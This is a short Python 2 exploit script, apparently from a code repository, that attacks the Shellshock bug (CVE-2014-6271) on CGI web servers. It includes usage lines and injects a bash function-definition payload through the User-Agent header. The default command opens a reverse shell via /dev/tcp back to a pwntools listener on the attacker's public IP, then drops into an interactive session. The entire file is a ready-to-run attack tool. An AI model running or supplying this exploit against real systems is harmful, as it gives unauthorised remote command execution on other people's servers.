shell.py

#!/usr/bin/env python2
#
# CVE-2014-6271 reverse shell
#
# Same as all the others, just showing off some pwntools.
#
# Usage:
#    python shell.py http://host/cgi-bin/script.sh
#    python shell.py http://host/cgi-bin/script.sh PORT=12345
#
from pwn import * # pip2 install pwn
import unirest    # pip2 install unirest

url  = sys.argv[1]
ip   = wget('http://icanhazip.com').strip()
l    = listen(args['PORT'] or 0)
port = l.lport

command  = args['COMMAND'] or '/bin/bash >& /dev/tcp/%(ip)s/%(port)s 0>&1' % locals()
log.info(command)
log.info(url)

unirest.USER_AGENT = '() { :;}; ' + command
unirest.get(url, callback=lambda x:0)


l.wait_for_connection().interactive()